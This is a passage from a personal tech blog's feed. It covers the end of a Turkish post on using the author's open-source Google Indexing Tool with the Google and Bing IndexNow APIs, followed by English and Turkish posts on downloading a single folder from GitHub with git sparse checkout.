&lt;p&gt;Yukar&amp;inodot;daki gibi ham kodlarla u&amp;gbreve;ra&amp;scedil;mak, her g&amp;uuml;n elle betik &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak tam bir makarna-yo&amp;gbreve;urt &amp;ouml;&amp;gbreve;renci yeme&amp;gbreve;i &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; olurdu. Profesyonel &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yorsak, i&amp;scedil;i daha temiz halletmeliyiz.&lt;/p&gt;
&lt;p&gt;Kendi projelerimde ya&amp;scedil;ad&amp;inodot;&amp;gbreve;&amp;inodot;m dizin sorunlar&amp;inodot;n&amp;inodot; tek elden &amp;ccedil;&amp;ouml;zmek i&amp;ccedil;in geli&amp;scedil;tirdi&amp;gbreve;im a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; &lt;a href="https://github.com/yuceltoluyag/google-indexing-tool" rel="noopener noreferrer" target="_blank"&gt;Google Indexing Tool&lt;/a&gt; projesi, t&amp;uuml;m bu s&amp;uuml;reci otomatik ve ak&amp;inodot;ll&amp;inodot; hale getiriyor. &amp;Uuml;stelik sadece Google ile s&amp;inodot;n&amp;inodot;rl&amp;inodot; kalmay&amp;inodot;p Bing IndexNow entegrasyonu da sunuyor.&lt;/p&gt;
&lt;p&gt;En tatl&amp;inodot; taraf&amp;inodot; ne biliyor musun? Bu arac&amp;inodot; sistemine &lt;strong&gt;global&lt;/strong&gt; olarak kurup, bilgisayar&amp;inodot;ndaki t&amp;uuml;m farkl&amp;inodot; blog projelerinde tek bir komutla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rabiliyorsun.&lt;/p&gt;
&lt;h3 id="global-kurulum-ve-hazrlk"&gt;📦 Global Kurulum ve Haz&amp;inodot;rl&amp;inodot;k&lt;a class="headerlink" href="#global-kurulum-ve-hazrlk" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Terminale ge&amp;ccedil;ip &amp;scedil;u komutla arac&amp;inodot; do&amp;gbreve;rudan GitHub &amp;uuml;zerinden sistemine kurabilirsin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;git+https://github.com/yuceltoluyag/google-indexing-tool.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komut sistemine &lt;code&gt;google-indexer&lt;/code&gt; ad&amp;inodot;nda global bir CLI komutu tan&amp;inodot;mlar. Art&amp;inodot;k hangi blog klas&amp;ouml;r&amp;uuml;nde olursan ol, bu komutla dizin y&amp;ouml;netimini yapabilirsin.&lt;/p&gt;
&lt;p&gt;Blog projenin ana dizininde bir adet &lt;code&gt;config.ini&lt;/code&gt; dosyas&amp;inodot; olu&amp;scedil;tur ve i&amp;ccedil;eri&amp;gbreve;ini sitene g&amp;ouml;re doldur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[PELICAN]&lt;/span&gt;
&lt;span class="na"&gt;ARTICLES_PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;content/articles&lt;/span&gt;
&lt;span class="na"&gt;SITE_URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/&lt;/span&gt;

&lt;span class="k"&gt;[DEFAULT]&lt;/span&gt;
&lt;span class="na"&gt;CSV_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;article_links.csv&lt;/span&gt;
&lt;span class="na"&gt;SERVICE_ACCOUNT_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;service-account.json&lt;/span&gt;
&lt;span class="na"&gt;LOG_FILE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;indexing.log&lt;/span&gt;

&lt;span class="k"&gt;[API]&lt;/span&gt;
&lt;span class="na"&gt;URL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://indexing.googleapis.com/v3/urlNotifications:publish&lt;/span&gt;
&lt;span class="na"&gt;REQUEST_DELAY_SECONDS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;COOLDOWN_DAYS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;[BING]&lt;/span&gt;
&lt;span class="na"&gt;API_KEY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;senin_bing_indexnow_api_anahtarin&lt;/span&gt;
&lt;span class="na"&gt;KEY_LOCATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://yuceltoluyag.github.io/senin_bing_indexnow_api_anahtarin.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Not: Cooldown ve &amp;Idot;stek Gecikmeleri&lt;/p&gt;
&lt;p&gt;&lt;code&gt;COOLDOWN_DAYS = 3&lt;/code&gt; ayar&amp;inodot; sayesinde, Google'&amp;inodot;n hen&amp;uuml;z dizine eklemedi&amp;gbreve;i ama bizim bildirim g&amp;ouml;nderdi&amp;gbreve;imiz sayfalar 3 g&amp;uuml;n boyunca korumaya al&amp;inodot;n&amp;inodot;r. Bu sayede her g&amp;uuml;n bo&amp;scedil; yere ayn&amp;inodot; linki g&amp;ouml;nderip Google'dan spam damgas&amp;inodot; yemeyiz. &lt;code&gt;REQUEST_DELAY_SECONDS = 10&lt;/code&gt; ise API istekleri aras&amp;inodot;na es vererek h&amp;inodot;z limitlerine tak&amp;inodot;lman&amp;inodot; &amp;ouml;nler.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="adm-adm-akll-calsma-duzeni"&gt;⚙️ Ad&amp;inodot;m Ad&amp;inodot;m Ak&amp;inodot;ll&amp;inodot; &amp;Ccedil;al&amp;inodot;&amp;scedil;ma D&amp;uuml;zeni&lt;a class="headerlink" href="#adm-adm-akll-calsma-duzeni" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Her &amp;scedil;ey haz&amp;inodot;rsa, terminalde projenin dizinine ge&amp;ccedil;ip &amp;scedil;u komutlar&amp;inodot; s&amp;inodot;ras&amp;inodot;yla ko&amp;scedil;turmaya ba&amp;scedil;la:&lt;/p&gt;
&lt;h4 id="adm-1-pelican-yazlarn-veritabanna-aktar"&gt;Ad&amp;inodot;m 1: Pelican Yaz&amp;inodot;lar&amp;inodot;n&amp;inodot; Veritaban&amp;inodot;na Aktar&lt;a class="headerlink" href="#adm-1-pelican-yazlarn-veritabanna-aktar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Blogundaki t&amp;uuml;m g&amp;uuml;ncel makaleleri taray&amp;inodot;p takip listesine (&lt;code&gt;article_links.csv&lt;/code&gt;) ekler:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="adm-2-bing-indexnow-ile-toplu-gonderim-yap"&gt;Ad&amp;inodot;m 2: Bing IndexNow ile Toplu G&amp;ouml;nderim Yap&lt;a class="headerlink" href="#adm-2-bing-indexnow-ile-toplu-gonderim-yap" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Bing, tek tek u&amp;gbreve;ra&amp;scedil;mak yerine t&amp;uuml;m yeni linkleri tek bir paket halinde kabul eder. Bu y&amp;uuml;zden olduk&amp;ccedil;a pratiktir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# &amp;Ouml;nce sim&amp;uuml;lasyon yap&amp;inodot;p ne gidece&amp;gbreve;ine bak:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing&lt;span class="w"&gt; &lt;/span&gt;--dry-run

&lt;span class="c1"&gt;# Canl&amp;inodot; olarak Bing'e g&amp;ouml;nder:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;bing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id="adm-3-akll-google-denetimi-ve-gonderimi-smart-mod"&gt;Ad&amp;inodot;m 3: Ak&amp;inodot;ll&amp;inodot; Google Denetimi ve G&amp;ouml;nderimi (Smart Mod)&lt;a class="headerlink" href="#adm-3-akll-google-denetimi-ve-gonderimi-smart-mod" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Bak&amp;inodot;n buras&amp;inodot; can yakar, en hayati ad&amp;inodot;md&amp;inodot;r. Bu komut, takip listesindeki hen&amp;uuml;z do&amp;gbreve;rulanmam&amp;inodot;&amp;scedil; URL'lerin durumunu Google Arama Konsolu API'si&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; &amp;uuml;zerinden tek tek denetler. E&amp;gbreve;er sayfa zaten dizine eklenmi&amp;scedil;se durumunu &lt;code&gt;PASS&lt;/code&gt; yapar. H&amp;acirc;l&amp;acirc; eklenmemi&amp;scedil;se ve cooldown s&amp;uuml;resi ge&amp;ccedil;mi&amp;scedil;se Google Indexing API'ye g&amp;ouml;nderip 3 g&amp;uuml;nl&amp;uuml;k bekleme sayac&amp;inodot;n&amp;inodot; ba&amp;scedil;lat&amp;inodot;r.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Zarars&amp;inodot;z bir deneme turu atal&amp;inodot;m:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;smart&lt;span class="w"&gt; &lt;/span&gt;--dry-run&lt;span class="w"&gt; &lt;/span&gt;--limit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;

&lt;span class="c1"&gt;# Canl&amp;inodot; denetim ve g&amp;ouml;nderimi ba&amp;scedil;lat:&lt;/span&gt;
google-indexer&lt;span class="w"&gt; &lt;/span&gt;smart&lt;span class="w"&gt; &lt;/span&gt;--limit&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er sadece belirli bir URL'nin durumunu merak ediyorsan, API limitlerini harcamadan direkt &amp;scedil;u komutla sorgulama yapabilirsin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;google-indexer&lt;span class="w"&gt; &lt;/span&gt;inspect&lt;span class="w"&gt; &lt;/span&gt;--url&lt;span class="w"&gt; &lt;/span&gt;https://yuceltoluyag.github.io/yazi-linki/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="seo-perspektifi-ve-limit-politikalar_1"&gt;⏳ SEO Perspektifi ve Limit Politikalar&amp;inodot;&lt;a class="headerlink" href="#seo-perspektifi-ve-limit-politikalar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Arama motorlar&amp;inodot;n&amp;inodot;n API'lerini kullan&amp;inodot;rken asgari &amp;uuml;cretle ge&amp;ccedil;inmeye &amp;ccedil;al&amp;inodot;&amp;scedil;an bir i&amp;scedil;&amp;ccedil;inin b&amp;uuml;t&amp;ccedil;e planlamas&amp;inodot; kadar titiz olmal&amp;inodot;y&amp;inodot;z. S&amp;inodot;n&amp;inodot;rlar nettir:
- &lt;strong&gt;Google Indexing API:&lt;/strong&gt; G&amp;uuml;nl&amp;uuml;k limit &lt;strong&gt;200 URL&lt;/strong&gt; ile s&amp;inodot;n&amp;inodot;rl&amp;inodot;d&amp;inodot;r. Bu y&amp;uuml;zden smart komutunda limit parametresini 50 veya 100 band&amp;inodot;nda tutmak ak&amp;inodot;ll&amp;inodot;ca bir plan olur.
- &lt;strong&gt;Bing IndexNow API:&lt;/strong&gt; Tek seferde &lt;strong&gt;10.000 URL&lt;/strong&gt;'ye kadar toplu g&amp;ouml;nderime izin verir.
- &lt;strong&gt;Spam Korumas&amp;inodot;:&lt;/strong&gt; Durmadan ayn&amp;inodot; linkleri g&amp;ouml;ndermek sitenin arama motorlar&amp;inodot; g&amp;ouml;z&amp;uuml;ndeki itibar&amp;inodot;n&amp;inodot; s&amp;inodot;f&amp;inodot;rlar. Ara&amp;ccedil;taki cooldown mekanizmas&amp;inodot;n&amp;inodot; asla devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakma.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="neler-ogrendik"&gt;📋 Neler &amp;Ouml;&amp;gbreve;rendik?&lt;a class="headerlink" href="#neler-ogrendik" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Google Indexing API ile yeni i&amp;ccedil;eriklerimizi g&amp;uuml;nlerce beklemeden an&amp;inodot;nda botlara duyurabiliyoruz.&lt;/li&gt;
&lt;li&gt;Google Cloud &amp;uuml;zerinden hizmet hesab&amp;inodot; olu&amp;scedil;turup Search Console'da "Sahibi" olarak yetkilendirmek i&amp;scedil;in temel &amp;scedil;art&amp;inodot;d&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;Geli&amp;scedil;tirdi&amp;gbreve;imiz &lt;code&gt;google-indexer&lt;/code&gt; arac&amp;inodot; sayesinde t&amp;uuml;m s&amp;uuml;reci yerel bir CSV veritaban&amp;inodot; &amp;uuml;zerinden ak&amp;inodot;ll&amp;inodot;ca y&amp;ouml;netip spama d&amp;uuml;&amp;scedil;meyi engelliyoruz.&lt;/li&gt;
&lt;li&gt;Bing IndexNow entegrasyonu ile tek komutta Bing dizinlerini de g&amp;uuml;ncel tutabiliyoruz.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="son-soz"&gt;🎯 Son S&amp;ouml;z&lt;a class="headerlink" href="#son-soz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Laf&amp;inodot;n k&amp;inodot;sas&amp;inodot;, Google botlar&amp;inodot;n&amp;inodot;n sitene u&amp;gbreve;ramas&amp;inodot;n&amp;inodot; pasif &amp;scedil;ekilde beklemek yerine kontrol&amp;uuml; eline alabilirsin. Bu sistemi sunucunda ya da bilgisayar&amp;inodot;nda g&amp;uuml;nl&amp;uuml;k bir g&amp;ouml;rev zamanlay&amp;inodot;c&amp;inodot;ya ba&amp;gbreve;layarak arkana yaslanabilirsin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bunlar&amp;inodot; da &amp;Idot;ncele:&lt;/strong&gt;
- &lt;a href="/github-sadece-bir-klasor-indirme/"&gt;Git sparse-checkout rehberi&lt;/a&gt;
- &lt;a href="/otomatik-bing-indexnow-kullanimi"&gt;Bing IndexNow kullan&amp;inodot;m&amp;inodot; rehberi&lt;/a&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Google Search Console API, web sitenizin g&amp;uuml;ncel dizin durumunu ve kapsama hatalar&amp;inodot;n&amp;inodot; do&amp;gbreve;rudan kod &amp;uuml;zerinden sorgulaman&amp;inodot;z&amp;inodot; sa&amp;gbreve;layan resmi API aray&amp;uuml;z&amp;uuml;d&amp;uuml;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Web Geliştirme"/><category term="google indexing api"/><category term="seo"/><category term="python"/><category term="google search console"/><category term="url indexleme"/></entry><entry><title>Downloading Only a Specific Folder from GitHub: Sparse Checkout</title><link href="https://yuceltoluyag.github.io/en/github-sadece-bir-klasor-indirme/" rel="alternate"/><published>2025-10-27T03:15:00+03:00</published><updated>2025-10-27T03:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-27:/en/github-sadece-bir-klasor-indirme/</id><summary type="html">&lt;p&gt;Don't download the entire GitHub repo, just download a specific folder. Save time and disk space with the sparse checkout method.&lt;/p&gt;</summary><content type="html">&lt;h2 id="introduction"&gt;Introduction&lt;a class="headerlink" href="#introduction" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In some projects, instead of downloading the entire repository on GitHub, you may need &lt;strong&gt;only a specific folder&lt;/strong&gt;.
For example, you might want to take only design files from a large project. In this guide, I'll show you step by step how to do this with the &lt;strong&gt;Git Sparse Checkout&lt;/strong&gt; method ⚡&lt;/p&gt;
&lt;p&gt;At the end of this guide:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You'll be able to download only the folder you want,&lt;/li&gt;
&lt;li&gt;You'll save time and disk space by getting rid of unnecessary files,&lt;/li&gt;
&lt;li&gt;You'll be able to easily apply in Arch Linux and other Linux distributions.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="what-is-sparse-checkout"&gt;What is Sparse Checkout?&lt;a class="headerlink" href="#what-is-sparse-checkout" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Git Sparse Checkout&lt;/strong&gt; is a feature that allows you to pull only specific files or folders from a Git repository instead of the entire repository.&lt;/p&gt;
&lt;h3 id="advantages"&gt;Advantages&lt;a class="headerlink" href="#advantages" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Reduces download time in large repositories,&lt;/li&gt;
&lt;li&gt;Saves disk space,&lt;/li&gt;
&lt;li&gt;You don't have to deal with unnecessary files.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="step-by-step-implementation_1"&gt;Step by Step Implementation&lt;a class="headerlink" href="#step-by-step-implementation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-create-a-new-folder-and-initialize-git"&gt;1️⃣ Create a New Folder and Initialize Git&lt;a class="headerlink" href="#1-create-a-new-folder-and-initialize-git" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;pico-v2&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pico-v2
git&lt;span class="w"&gt; &lt;/span&gt;init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-add-remote-repository"&gt;2️⃣ Add Remote Repository&lt;a class="headerlink" href="#2-add-remote-repository" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;remote&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;https://github.com/picocss/examples.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3-enable-sparse-checkout"&gt;3️⃣ Enable Sparse Checkout&lt;a class="headerlink" href="#3-enable-sparse-checkout" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;core.sparseCheckout&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="4-specify-the-folder-you-want-to-download"&gt;4️⃣ Specify the Folder You Want to Download&lt;a class="headerlink" href="#4-specify-the-folder-you-want-to-download" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"v2-sass-customized-design-system/"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;.git/info/sparse-checkout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Attention 💡 The folder path should be written according to the repository root directory.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="5-download-only-the-relevant-folder"&gt;5️⃣ Download Only the Relevant Folder&lt;a class="headerlink" href="#5-download-only-the-relevant-folder" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Branch check ⚠️ If the repository uses the &lt;code&gt;main&lt;/code&gt; branch, you should use &lt;code&gt;git pull origin main&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="result_1"&gt;Result&lt;a class="headerlink" href="#result" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now only the folder you need has been downloaded:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pico-v2/v2-sass-customized-design-system/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="summary"&gt;Summary&lt;a class="headerlink" href="#summary" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;You can pull only specific folders without downloading the entire GitHub repository.&lt;/li&gt;
&lt;li&gt;Sparse checkout saves time and disk in large projects.&lt;/li&gt;
&lt;li&gt;Can be easily applied on Linux ⚡&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="resources_1"&gt;Resources&lt;a class="headerlink" href="#resources" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/picocss/examples" rel="noopener noreferrer" target="_blank"&gt;GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git-scm.com/docs/git-sparse-checkout" rel="noopener noreferrer" target="_blank"&gt;Git Sparse Checkout Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This feature exists in GitLab UI, why doesn't GitHub UI have it? 🤔&lt;/p&gt;
&lt;p&gt;&lt;img alt="Git Sparse Kullan&amp;inodot;m&amp;inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/git-sparse-checkout-rehberi-xl.webp" srcset="/images/git-sparse-checkout-rehberi-sm.webp 300w, /images/git-sparse-checkout-rehberi-md.webp 500w, /images/git-sparse-checkout-rehberi-lg.webp 800w, /images/git-sparse-checkout-rehberi-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Git"/><category term="git"/><category term="github"/><category term="sparse-checkout"/><category term="linux"/><category term="rehber"/></entry><entry><title>GitHub'dan Sadece Belirli Bir Klasörü İndirme: Sparse Checkout</title><link href="https://yuceltoluyag.github.io/github-sadece-bir-klasor-indirme/" rel="alternate"/><published>2025-10-27T03:15:00+03:00</published><updated>2025-10-27T03:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-27:/github-sadece-bir-klasor-indirme/</id><summary type="html">&lt;p&gt;GitHub reposunun tamamını değil, sadece belirli bir klasörünü indir. Sparse checkout yöntemi ile zaman ve disk alanı tasarrufu sağla.&lt;/p&gt;</summary><content type="html">&lt;h2 id="giris"&gt;Giri&amp;scedil;&lt;a class="headerlink" href="#giris" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Baz&amp;inodot; projelerde GitHub&amp;rsquo;daki bir repository&amp;rsquo;nin tamam&amp;inodot;n&amp;inodot; indirmek yerine &lt;strong&gt;sadece belirli bir klas&amp;ouml;re&lt;/strong&gt; ihtiya&amp;ccedil; duyars&amp;inodot;n&amp;inodot;z.
&amp;Ouml;rne&amp;gbreve;in b&amp;uuml;y&amp;uuml;k bir proje i&amp;ccedil;inden sadece tasar&amp;inodot;m dosyalar&amp;inodot;n&amp;inodot; almak isteyebilirsiniz. Bu rehberde &lt;strong&gt;Git Sparse Checkout&lt;/strong&gt; y&amp;ouml;ntemi ile bunu nas&amp;inodot;l yapaca&amp;gbreve;&amp;inodot;n&amp;inodot; ad&amp;inodot;m ad&amp;inodot;m g&amp;ouml;sterece&amp;gbreve;iz ⚡&lt;/p&gt;
&lt;p&gt;Bu rehberin sonunda:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sadece istedi&amp;gbreve;iniz klas&amp;ouml;r&amp;uuml; indirebileceksiniz,&lt;/li&gt;
&lt;li&gt;Gereksiz dosyalardan kurtulup zaman ve disk alan&amp;inodot; tasarrufu sa&amp;gbreve;layacaks&amp;inodot;n&amp;inodot;z,&lt;/li&gt;
&lt;li&gt;Arch Linux ve di&amp;gbreve;er Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot;nda kolayca uygulayabileceksiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="sparse-checkout-nedir"&gt;Sparse Checkout Nedir?&lt;a class="headerlink" href="#sparse-checkout-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Git Sparse Checkout&lt;/strong&gt;, bir Git deposunun tamam&amp;inodot;n&amp;inodot; de&amp;gbreve;il sadece belirli dosya veya klas&amp;ouml;rlerini &amp;ccedil;al&amp;inodot;&amp;scedil;ma dizinine &amp;ccedil;ekmeye yarayan bir &amp;ouml;zelliktir.&lt;/p&gt;
&lt;h3 id="avantajlar"&gt;Avantajlar&amp;inodot;&lt;a class="headerlink" href="#avantajlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;B&amp;uuml;y&amp;uuml;k repolarda indirme s&amp;uuml;resini azalt&amp;inodot;r,&lt;/li&gt;
&lt;li&gt;Disk alan&amp;inodot; tasarrufu sa&amp;gbreve;lar,&lt;/li&gt;
&lt;li&gt;Gereksiz dosyalarla u&amp;gbreve;ra&amp;scedil;mak zorunda kalmazs&amp;inodot;n&amp;inodot;z.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="adm-adm-uygulama_1"&gt;Ad&amp;inodot;m Ad&amp;inodot;m Uygulama&lt;a class="headerlink" href="#adm-adm-uygulama" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-yeni-bir-klasor-olustur-ve-git-baslat"&gt;1️⃣ Yeni Bir Klas&amp;ouml;r Olu&amp;scedil;tur ve Git Ba&amp;scedil;lat&lt;a class="headerlink" href="#1-yeni-bir-klasor-olustur-ve-git-baslat" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
